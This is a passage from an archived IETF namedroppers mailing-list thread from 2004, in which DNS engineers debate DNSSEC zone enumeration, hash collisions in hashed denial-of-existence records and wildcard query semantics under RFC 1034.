prevent all problems, and may even introduce new ones. I agree that an attacker who spend more time to break in will eventually find Received: headers etc. But that was sort of my point. To secure something, you remove the simple attack vectors first. That is, in this case, zone enumeration. If eventually the total time required for the break in become too costly, you have succeeded. > turning off axfr, or changing dnssec to prevent nsec-walking, > isn't going to be enough for these people. the problem they're having is > already in their lives, and allowing nsec-walking doesn't make it worse, > and preventing nsec-walking would not make it better. We disagree here. I believe preventing nsec-walking may make things better. It is difficult to quantify by how much objectively. > it's worth noting that small zone owners are the primary audience for BIND, > and their needs (as revealed by consulting, support, software development, > and other contacts made by myself and others at ISC over the last 25 years) > are the driving force behind BIND9 having "views" in the first place. i > possess direct knowledge, in other words, of who wants this feature, who > uses this feature, and why. Excellent, let's build on that. What are the motivations for using "views"? What risks do your customers perceive with publishing all their information in public, that presumably made them consider using "views"? > this opens a new category of victim -- the hapless kind. you're assuming > that folks who would be hurt by enumeration cannot self-identify. this is > not my experience -- for instance, BIND4 was the first dns implementation > to allow the protocol breakage known as "prohibiting or limiting axfr", and > as with views, i know who this was added to please, and why they wanted it. > > if we're going to specify DNS in such a way that implementations are all > required to lock down the set of features that "hapless zone owners" would > be injured by if the defaults weren't restrictive, then that's a new topic. I'm not saying that. Instead, and naturally, implementors that don't perceive that their users fear zone enumeration should not implement proposals like NSECbis. > presumably such a regime would include restricting zone transfers (which is > not described in the protocol), using TSIG to enable views of sensitive > data (which is not described in the protocol), and things like strong root > passwords, non-world-readable zone files, and so on. that's a big project > and it may belong in a different ietf area than the one namedroppers is in. Right. It seems, at best, something for DNSOP. >> In any case, if "views" would be the suggested remedy for this problem >> for small zones, the idea should be adopted and described by the WG. > > that's at best premature. the requirements document isn't done yet. this > thread is part of a debate as to whether confidentiality should be listed > as a requirement. I don't think the term "confidentiality" properly describe what the requirement should be here. The word's negative connotations are heavy, from the vanilla DNS point of view, which suggest that "confidentiality" shouldn't be a requirement. Perhaps you get another thought process if you ask whether permitting new vulnerabilities to DNSSEC should be a requirement or not. Neither spin is useful, though. Thanks, Simon -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: "Olaf M. Kolkman" <olaf@ripe.net> Subject: Re: Collisions irrelevant Date: Mon, 20 Sep 2004 08:39:13 +0200 Lines: 50 Sender: owner-namedroppers@ops.ietf.org References: <C6DDA43B91BFDA49AA2F1E473732113E010BEBA8@mou1wnexm05.vcorp.ad.vrsn.com> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: 'Robert Elz' <kre@munnari.OZ.AU>, Ben Laurie <ben@algroup.co.uk>, Alex Bligh <alex@alex.org.uk>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Mon Sep 20 12:12:36 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.7.1 (Macintosh/20040626) X-Accept-Language: en-us, en To: "Hallam-Baker, Phillip" <pbaker@verisign.com> In-Reply-To: <C6DDA43B91BFDA49AA2F1E473732113E010BEBA8@mou1wnexm05.vcorp.ad.vrsn.com> Precedence: bulk Hallam-Baker, Phillip wrote: >I read part of the collisions thread. > >The whole discussion is irrelevant. Consider the requirements: > >We have a set of names A = {a0, a1,... an } > >We have a bag of hashes H = {H(a0), H(a1), ... } > >Let us imagine that we do have a collision such that > >H(ai) = H(aj) > >All this means is that the number of intervals that we need to sign is less >than the number of names. > >The real issue that comes up is when you have a collision in the compliment >set X = A' = {x0, x1, ... xm} > >H(ai) = H(xj) > >This means that you will be unable to provide a response that proves xj does >not exist. > > As in A' is the set of names that are not in the zone? Let me see if I understand this. If I cannot proof that the record does not exist I'd would expect data that I queried for (Q-truple). At least a piece of data that provides proof that at the xj ownername (QNAME) there is no such type as QTYPE. I get no such data and I get no data of the nonexistence of the ownername xj.... error case. This could be used for a DOS attack on the server, if the client requeries in case of the above error case. Security considerations can address this. handwave, handwave, :-) --Olaf namedropper. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: Collisions irrelevant Date: Mon, 20 Sep 2004 11:24:53 +0100 Lines: 66 Sender: owner-namedroppers@ops.ietf.org References: <C6DDA43B91BFDA49AA2F1E473732113E010BEBA8@mou1wnexm05.vcorp.ad.vr sn.com> <414E7B11.9050402@ripe.net> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: 'Robert Elz' <kre@munnari.OZ.AU>, Ben Laurie <ben@algroup.co.uk>, namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Mon Sep 20 12:35:10 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: "Olaf M. Kolkman" <olaf@ripe.net>, "Hallam-Baker, Phillip" <pbaker@verisign.com> In-Reply-To: <414E7B11.9050402@ripe.net> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk --On 20 September 2004 08:39 +0200 "Olaf M. Kolkman" <olaf@ripe.net> wrote: > Let me see if I understand this. If I cannot proof that the record does > not exist I'd would expect data that I queried for (Q-truple). At least a > piece of data that provides proof that at the xj ownername (QNAME) there > is no such type as QTYPE. > > I get no such data and I get no data of the nonexistence of the ownername > xj.... error case. This could be used for a DOS attack on the server, if > the client requeries in case of the above error case. Security > considerations can address this. You have to distinguish between a query for the Q-tuple relating to ai and a query relating to xj, remembering that in the denial of existence record, UNIFORM non-enumerability as proposed thusfar suggests that you cannot reveal the QNAME for ai. The problem is that you cannot deny x(j) as the only available interval for denial is H(a(i)) ... H(a(i+1)). You have two strategies: 1. If you treat that as an open interval, you are not denying H(a(i)) and H(a(i+1)) (just the hash values between them) and thus can't use this to deny x(j) which has the same hash as H(a(i)). 2. If you treat it as a closed interval (i.e. as denying H(a(i)) itself and thus denying x(j)), you have to make an exception for a(i) itself (obviously) which can only be done by the presence of other records (QTYPE for instance). If resolvers worked that way (by policy, to cope with potential hash collisions), they'd then be open to an attack (even with out an ACTUAL hash collision) involving interception and removal of the all replies except the NSEC', which would lead the resolver to ASSUME a hash collision had occurred and say "I have an NSEC' but no other records, I thus assume this is the xj case, IE something with the same hash as something in the zone", i.e. an easy man-in-the-middle attack which falsely denies the existence of any RR (and indeed falsely makes the resolver think the server has become 'famous'). There is a third strategy which I outlined earlier, and which Ben independently came up with a far better version (off-list). That is simply that if there is a query x(j), which is non-existent but has a hash equal to an existing record, you simply return a traditional NSEC record [*], rather than an NSEC' record (as the resolver has to cope with either for denial anyway, this complicates nothing). This will allow zone enumerability only to the extent the attacker can find a colliding hash for each RR (i.e. in practice not at all). This addresses Phil's problem (which is the same as the one I posted marked "this *is* a problem"), and together with salting for non-self colliding, I think this addresses all the hash collision problems. [*] this has the minor nit that you'd clearly want to avoid returning NSEC records in response to queries of QTYPE NSEC in an NSEC' zone, which is arguably a bit of special server behaviour for NSEC to support NSEC' functionality. An alternate approach is just to allow NSEC' records with any hash algorithm, and specify that two mandatory hash algorithms are SHA-1 (or whatever) and the identity mapping. Then return identity (read unhashed) NSEC' in the case of a query for a colliding hash such as x(j). Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Edward Lewis <edlewis@arin.net> Subject: * NS Date: Mon, 20 Sep 2004 15:34:35 +0100 Lines: 118 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: edlewis@arin.net X-From: owner-namedroppers@ops.ietf.org Mon Sep 20 16:52:16 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 To: namedroppers@ops.ietf.org Precedence: bulk Since midday yesterday a couple of RIPE attendees have talked about the "* NS" issue. A couple of things seem clearer now (at least to me), but still we have a conundrum. The current thinking is that there should be no restriction on a zone with a "* NS" because a domain name beginning with a "*" isn't always being used as a source of synthetic records. E.g., example.com. SOA (SOA rdata) NS (NS rdata) NS (NS rdata) *.foo TXT (TXT rdata) www A (A rdata) * NS (NS rdata) NS (NS rdata) I'm going to use a convention for the purpose of this message of: Q(*, NS) is the same as (QNAME=*; QCLASS=IN; QTYPE=NS) ANSWER(#): Answer section and answer count AUTHORITY(#): Authority section w/count Query: Q(*.example.com, NS) returns: ANSWER(2): *.example.com. IN NS (x2) This is a case of (RFC 1034, 4.3.2) Step 3.a (exact name match) being invoked. Query: Q(*.example.com, A) returns: This depends. If the server has loaded a zone named *.example.com. then we wouldn't be looking at this zone. Assuming there is no loaded zone for *.example.com., then the answer comes from Step 3.b (cut point it hit). The answer would be: AUTHORITY(2): *.example.com. IN NS (x2) QUERY Q(www.example.com, TXT) returns: ANSWER(0) This is from 3.a - exact name match, but no matching RR set. QUERY Q(www.*.foo.example.com, A) returns: Name Error This is from 3.c. A match failed at the label * of *.foo.example.com. There is no * label below this (*.*.foo.example.com) - setting aside the "anydomain should not contain *" text - so there is no name match, hence the name error return. QUERY Q(smtp.example.com, A) returns: Seeing no match for smtp.example.com as Step 3.a, the response will have to be from 3.b or 3.c. It looks like 3.b is not the right Step either as *.example.com is not in the path to smtp.example.com. So it looks like 3.c. Looking into 3.c, we are now trying to match types, or "chase" a CNAME (as the other part of the draft proposes). There are no A records, so it looks like the answer is either: ANSWER(0) or: AUTHORITY(2): smtp.example.com IN NS (x2) It comes down to the meaning of the word "match" in the last paragraph of 3.c. If we are deciding between 3.a or 3.b, meaning that the query name is a cut point, the presence of the NS occludes the A. Does that constitute a "match?" I've also been given a third choice - not bother to answer the question. IOW - leave it unspecified. I'm assuming that this isn't a generally held position, but I ought to check. Oh, and there's another problem, the "conundrum." Is the synthesis of the (smtp.example.com IN NS) set legal? To separate the issue, I'll use another query. QUERY Q(smtp.example.com, NS) returns: In this case, we are in Step 3.c, with the NS matching exactly. The problem is: Assuming the child (and not the parent) is authoritative for the NS set, is it legal for the parent to synthesize the child NS set? The irony here is, by following established rules in generating the NS set for the answer (here it is the answer and not the referral because we've fallen into step c) the parent has delegated away the authority for the name. The parent is no longer allowed to answer for this. In hindsight, the answer ought to have come from 3.b - but we didn't know to go there until we stepped halfway through 3.c. (Is it the jet lag, or is this stuff really muddy?) -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: wild cards Date: Mon, 20 Sep 2004 16:05:18 +0100 Lines: 20 Sender: owner-namedroppers@ops.ietf.org References: <a06020407bd5b9bc9d506@[192.168.1.100]> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Mon Sep 20 17:13:46 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org In-Reply-To: <a06020407bd5b9bc9d506@[192.168.1.100]> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk --On 01 September 2004 11:56 -0400 Edward Lewis <edlewis@arin.net> wrote: > Yes, I'm actually spending time on the draft... Where can the current version of the draft be found? Searches for draft-ietf-dnsext-wcard-clarify-03.txt all have it removed as it's expired, and -04 doesn't seem to be out yet. I have a couple of nits in the original RFC wording which have probably been found by someone else, but wouldn't mind checking... Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: wild cards Date: Mon, 20 Sep 2004 16:15:45 +0100 Lines: 31 Sender: owner-namedroppers@ops.ietf.org References: <a06020407bd5b9bc9d506@[192.168.1.100]> <BAD566E1582E5B1AC81EB5CF@[192.168.0.16]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Mon Sep 20 17:23:00 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <BAD566E1582E5B1AC81EB5CF@[192.168.0.16]> To: Alex Bligh <alex@alex.org.uk> Precedence: bulk At 16:05 +0100 9/20/04, Alex Bligh wrote: >--On 01 September 2004 11:56 -0400 Edward Lewis <edlewis@arin.net> wrote: > >> Yes, I'm actually spending time on the draft... > >Where can the current version of the draft be found? Searches for >draft-ietf-dnsext-wcard-clarify-03.txt all have it removed as it's >expired, and -04 doesn't seem to be out yet. There isn't an active copy anywhere, as far as the IETF is concerned. http://www.potaroo.net/ietf/idref/draft-ietf-dnsext-wcard-clarify/ is the one place I know to find the old copies. (I have a copy that Robert Elz maintained but never made the ID repository.) >I have a couple of nits in the original RFC wording which have probably >been found by someone else, but wouldn't mind checking... -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: wild cards Date: Mon, 20 Sep 2004 16:51:10 +0100 Lines: 71 Sender: owner-namedroppers@ops.ietf.org References: <a06020407bd5b9bc9d506@[192.168.1.100]> <BAD566E1582E5B1AC81EB5CF@[192.168.0.16]> <a06020407bd74a31763de@[193.0.8.231]> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Mon Sep 20 18:02:07 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a06020407bd74a31763de@[193.0.8.231]> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk A couple of comments on draft-ietf-dnsext-wcard-clarify-02.txt (in the absence of a more recent version 1. QCLASS ========= > Section 1. > ... > Note that a wild card domain name has no special impact on the search > for a query type (QTYPE). If a domain name is found that matches the > QNAME (exact or a wild card) but the QTYPE is not found at that > point, the proper response is that there is no data available. What happens in the following scenario: $ORIGIN example.com * IN MX target.example2.com. foo IN TXT "bar" baz HS [blah] If a query is of QCLASS IN and QTYPE MX is executed for "foo.example.com", the correct response is no data, not the the wildcard MX. If a query of QTYPE ANY and QCLASS IN is sent for "baz.example.com", is this true as well? Or is the right response the wildcard? 4.3.3 of RFC1034 is unclear. [aside: noticed this thinking a different CLASS might be useful for NSEC' to get around the wildcard problem] 2. Names starting with '*' ========================== Section (2) of wcard-clarify is clear; one thing it clarifies that you haven't noticed is a miswording in 4.3.3 of 1034. > In the previous algorithm, special treatment was given to RRs with owner > names starting with the label "*". Such RRs are called wildcards. This might be read to include "*foo.example.com". It's obviously meant to mean "RRs with owner names starting with a label which exactly matches '*'". The label starting with "*" case could be made clearer, partly for reasons in [] below. 3. Labels with dots in them =========================== (not strictly wildcards but I think relevant because of (2) above). There does not appear to be anything which prevents having a single label with a "." in it, i.e. a label of 0x03 0x41 0x2e 0x42, which is a single label of "a.b" (as opposed to two concatenated labels a.b). RFC 1034 s3.1 seems to be quite clear on that. I am presuming these are legal because there is nothing saying they aren't, and the reason we aren't "taking the easy way out" and banning things like "foo.*.bar.example.com" is the principle of binary transparency. On the other hand, I think (according to 4.3) that no QNAME can match these - correct? If not, what happens with labels starting "0x2a 0x2e" (i.e. starting with "*.")? [ Suggesting that the illustration in RFC 1034 section 3.5 is made mandatory will I suspect win me no friends ] Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: "Hallam-Baker, Phillip" <pbaker@verisign.com> Subject: RE: Collisions irrelevant Date: Mon, 20 Sep 2004 09:00:41 -0700 Lines: 35 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Cc: "'Robert Elz'" <kre@munnari.OZ.AU>, Ben Laurie <ben@algroup.co.uk>, Alex Bligh <alex@alex.org.uk>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Mon Sep 20 18:09:25 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: "'Olaf M. Kolkman'" <olaf@ripe.net>, "Hallam-Baker, Phillip" <pbaker@verisign.com> X-Mailer: Internet Mail Service (5.5.2657.72) Precedence: bulk > As in A' is the set of names that are not in the zone? Yes, the collisions between members of the same set are irrelevant. It is when you have a collision between A and A' that you have the issue. > Let me see if I understand this. If I cannot proof that the > record does > not exist I'd would expect data that I queried for > (Q-truple). At least > a piece of data that provides proof that at the xj ownername (QNAME) > there is no such type as QTYPE. > > I get no such data and I get no data of the nonexistence of the > ownername xj.... error case. This could be used for a DOS > attack on the > server, if the client requeries in case of the above error case. > Security considerations can address this. > > handwave, handwave, :-) The chance of this ever happening is somewhat less than the chance that a giant meteor will collide the planet causing everyone to turn into oil. If this really is a concern then what we could do is to have a system whereby in the case of a collision the server returns the value that results in the collision. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: wild cards Date: Tue, 21 Sep 2004 03:44:59 +0700 Lines: 125 Sender: owner-namedroppers@ops.ietf.org References: <3E2A3B81EA464133E59C9314@[192.168.0.16]> <a06020407bd5b9bc9d506@[192.168.1.100]> <BAD566E1582E5B1AC81EB5CF@[192.168.0.16]> <a06020407bd74a31763de@[193.0.8.231]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Mon Sep 20 23:08:15 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Alex Bligh <alex@alex.org.uk> In-Reply-To: <3E2A3B81EA464133E59C9314@[192.168.0.16]> Precedence: bulk Date: Mon, 20 Sep 2004 16:51:10 +0100 From: Alex Bligh <alex@alex.org.uk> Message-ID: <3E2A3B81EA464133E59C9314@[192.168.0.16]> | A couple of comments on draft-ietf-dnsext-wcard-clarify-02.txt (in | the absence of a more recent version -02 is the most recent published version. Unless Ed has submitted a new version in the past few days, there has never been a -03 (I was working on that one - unbelievably slowly - when Ed took over again). | If a query of | QTYPE ANY and QCLASS IN is sent for "baz.example.com", is this true as | well? I'm going to let someone else attempt to explain classes, I never understood them (at all...) There's one theory that there is a single uniform namespace and classes just allow different data types (a different set of RR types) which may be able to be managed by servers that are different for the same named domains (or might not be) (in which case, the answer should be NODATA, except if the trees can be at different servers the HS record might not necessarily be in the same server as the * record, which makes it all very hard to get right). There's another hyppothesis that a different class is an entirely separate DNS naming tree, with its own set of everything, and the two classes simply don't mix in any way at all (in which case the wildcard would certainly apply). | Or is the right response the wildcard? 4.3.3 of RFC1034 is unclear. 1034 is totally useless about classes. A "DNS classes clarifications" doc would certainly be needed if there was ever to be any serious effort to do anything (standard) with the things - but most impressions I've heard are "don't go there". The CH and HS classes are local hacks that do whatever the software that implements them wants them to do... | 2. Names starting with '*' | ========================== | | Section (2) of wcard-clarify is clear; one thing it clarifies that | you haven't noticed is a miswording in 4.3.3 of 1034. | | > In the previous algorithm, special treatment was given to RRs with owner | > names starting with the label "*". Such RRs are called wildcards. | | This might be read to include "*foo.example.com". No, it can't (reasonably) be - it says 'the label "*"', not 'the character "*"'. | It's obviously meant to | mean "RRs with owner names starting with a label which exactly matches | '*'". Yes, that's the only thing it can mean "*foo.ex..." starts with the label "*foo" not with the label "*". | The label starting with "*" case could be made clearer, No harm in making it even clearer though. | 3. Labels with dots in them | =========================== | | (not strictly wildcards but I think relevant because of (2) above). Not really... | There does not appear to be anything which prevents having a single | label with a "." in it, No, nothing at all. What's more there's nothing that prevents a label that consists entirely of the '.' character. | i.e. a label of 0x03 0x41 0x2e 0x42, which | is a single label of "a.b" (as opposed to two concatenated labels | a.b). RFC 1034 s3.1 seems to be quite clear on that. Yes. | I am presuming these are legal There's no need to presume, they are legal, and clearly legal, as you indicated. | On the other hand, I think (according to 4.3) that no QNAME can | match these - correct? No. A QNAME that is 02 2a 2e 07 e x a m p l e 03 c o m 00 will match a "*." RR (of the appropriate type) in the example.com zone. | If not, what happens with labels starting | "0x2a 0x2e" (i.e. starting with "*.")? No different than *foo - that's just another odd looking label, which has no special properties whatever (aside from being pretty confusing to novices). Note that the textual representation for this, in master files, etc, is "*\." not just ""*." In practice it is just about impossible to actually use a label containing a '.' from any (non DNS diagnostic) application, the API's just aren't good enough to get the correct thing to the resolver (they all start with text strings, and mostly don't handle escape characters), which makes the things close to useless in practice currently anyway. But inside the DNS, where you should simply never thing of domain names as text strings there is absolutely no confusion whatever. | [ Suggesting that the illustration in RFC 1034 section 3.5 is | made mandatory will I suspect win me no friends ] No.... kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Rob Austein <sra@isc.org> Subject: New versions of DNSSECbis drafts posted Date: Mon, 20 Sep 2004 16:57:49 -0400 Lines: 22 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 (generated by SEMI 1.14.5 - "Awara-Onsen") Content-Type: text/plain; charset=US-ASCII X-From: owner-namedroppers@ops.ietf.org Mon Sep 20 23:09:02 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org User-Agent: Wanderlust/2.10.1 (Watching The Wheels) Emacs/21.3 Mule/5.0 (SAKAKI) Precedence: bulk New versions of the DNSSECbis drafts have just been sent off to the Internet-Drafts coordinator. Copies (and htmlwdiff output) are also available on the web at: http://www.hactrn.net/ietf/dns/dnssec-editors/ These versions incorporate minor changes in response to review by our Area Director. To date there has been only one comment in response to IETF Last Call, and that comment did not end up requiring any changes to the text. As always, please send minor comments to dnssec-editors@east.isi.edu, substantive issues to namedroppers. --Rob (on behalf of your friendly neighborhood DNSSEC editors) -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: "Hallam-Baker, Phillip" <pbaker@verisign.com> Subject: RE: Collisions irrelevant Date: Mon, 20 Sep 2004 14:02:01 -0700 Lines: 36 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Cc: "'Robert Elz'" <kre@munnari.OZ.AU>, Ben Laurie <ben@algroup.co.uk>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Mon Sep 20 23:12:33 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: "'Alex Bligh'" <alex@alex.org.uk>, "Olaf M. Kolkman" <olaf@ripe.net>, "Hallam-Baker, Phillip" <pbaker@verisign.com> X-Mailer: Internet Mail Service (5.5.2657.72) Precedence: bulk > There is a third strategy which I outlined earlier, and which Ben > independently came up with a far better version (off-list). > That is simply > that if there is a query x(j), which is non-existent but has > a hash equal > to an existing record, you simply return a traditional NSEC > record [*], > rather than an NSEC' record (as the resolver has to cope with > either for > denial anyway, this complicates nothing). This will allow zone > enumerability only to the extent the attacker can find a > colliding hash for > each RR (i.e. in practice not at all). This addresses Phil's > problem (which > is the same as the one I posted marked "this *is* a > problem"), and together > with salting for non-self colliding, I think this addresses > all the hash > collision problems. OK now I get it, yes this works for me. I can make the probability of having to release a record to be considerably less than the probability of being hit by a giant asteroid. I can certainly make the probability way less than the probability of a machine error in the signing unit. Security is risk control, not risk elimination. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: * NS Date: Tue, 21 Sep 2004 04:23:33 +0700 Lines: 116 Sender: owner-namedroppers@ops.ietf.org References: <a06020403bd7489f8c2ff@[193.0.8.231]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Mon Sep 20 23:50:24 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a06020403bd7489f8c2ff@[193.0.8.231]> Precedence: bulk Date: Mon, 20 Sep 2004 15:34:35 +0100 From: Edward Lewis <edlewis@arin.net> Message-ID: <a06020403bd7489f8c2ff@[193.0.8.231]> | A couple of things seem clearer now (at least to me), but still we | have a conundrum. I doubt it is quite that bad. | QUERY Q(smtp.example.com, A) returns: | | Seeing no match for smtp.example.com as Step 3.a, the response will | have to be from 3.b or 3.c. It looks like 3.b is not the right Step | either as *.example.com is not in the path to smtp.example.com. So | it looks like 3.c. | | Looking into 3.c, we are now trying to match types, or "chase" a CNAME | (as the other part of the draft proposes). There are no A records, so | it looks like the answer is either: | | ANSWER(0) | | or: | | AUTHORITY(2): smtp.example.com IN NS (x2) It is clearly ANSWER(0). | It comes down to the meaning of the word "match" in the last paragraph | of 3.c. If we are deciding between 3.a or 3.b, meaning that the query | name is a cut point, the presence of the NS occludes the A. Does that | constitute a "match?" What A? I'm not sure what you're thinking of here? The algorithm is simple. Look for an exact name match ("match" means identical labels modulo case independence). Not found - done with 4.3.2 (3a) - and 4.3.2 (3b) cannot apply either. Then look for a wildcard record (ie: label '*') - that exists, but no RR's of the appropriate type. Hence copy nothing to the answer section. "Go to step 6" (ie: we're done). In case you doubt the definition of "match" (for names) - just look at 4.3.2 (3c) - we only start looking for '*' labels when a match is "impossible" - that is when there is no match. If you start imagining that the presence of a '*' label causes a name match, then this whole section would be absurd. The '*' label does not "match" the QNAME, rather it causes RR's to be (able to be) synthesised that have a label which does match the QNAME (which don't have to be tested for that purpose, as they're constructed to satisfy it). | I've also been given a third choice - nt bother to answer the question. | IOW - leave it unspecified. I'm assuming that this isn't a generally | held position, but I ought to check. No, this one is clear, and simple. | Oh, and there's another problem, the "conundrum." Is the synthesis of | the (smtp.example.com IN NS) set legal? This one is a very hard case to be sure about. Fortunately, for any practical purpose, it doesn't really matter. | QUERY Q(smtp.example.com, NS) returns: | | In this case, we are in Step 3.c, with the NS matching exactly. Yes. | The problem is: | | Assuming the child (and not the parent) is authoritative for the NS | set, is it legal for the parent to synthesize the child NS set? Yes, that's where things get hairy. The "delegations cancel wildcards" rule suggests that NODATA (ANSWER(0)) would be appropriate, yet, the algorithm suggests that ANSWER(2) (the 2 NS records) would be correct. This is the one I'd just leave undefined. Fortunately (leaving aside whatever implications this may have for dnssec) this makes absolutely no difference to anything that matters, as absolutely nothing (real) does QTYPE=NS queries. That is, the set of people reading this message (subscribers to namedroppers, etc) and a few more like us are the only entities that would ever issue such a query - it is basically useless for applications. | The irony here is, by following established rules in generating the NS | set for the answer (here it is the answer and not the referral because | we've fallen into step c) the parent has delegated away the authority | for the name. The parent is no longer allowed to answer for this. In | hindsight, the answer ought to have come from 3.b No, it shouldn't - 3b only applies when we have an exact match. There's no "smtp" in the zone file, hence that one cannot possibly occur. Personally I lean towards generating AA NS records that satisfy the query - that is, there's no delegation here, the name "smtp.example.com" hasn't been delegated anywhere, and hence the example.com zone is still authoritative for the data - and then the '* NS' records cause synthesis of the answer section records (which are from the example.com zone, and hence AA answers). Of course this puts us in the novel position of having NS records with no zone cut. There's no possible practical use for this nonsense however, so it isn't in the least bit important. kre kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: * NS Date: Tue, 21 Sep 2004 09:38:47 +0100 Lines: 118 Sender: owner-namedroppers@ops.ietf.org References: <a06020403bd7489f8c2ff@[193.0.8.231]> <11229.1095715413@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: 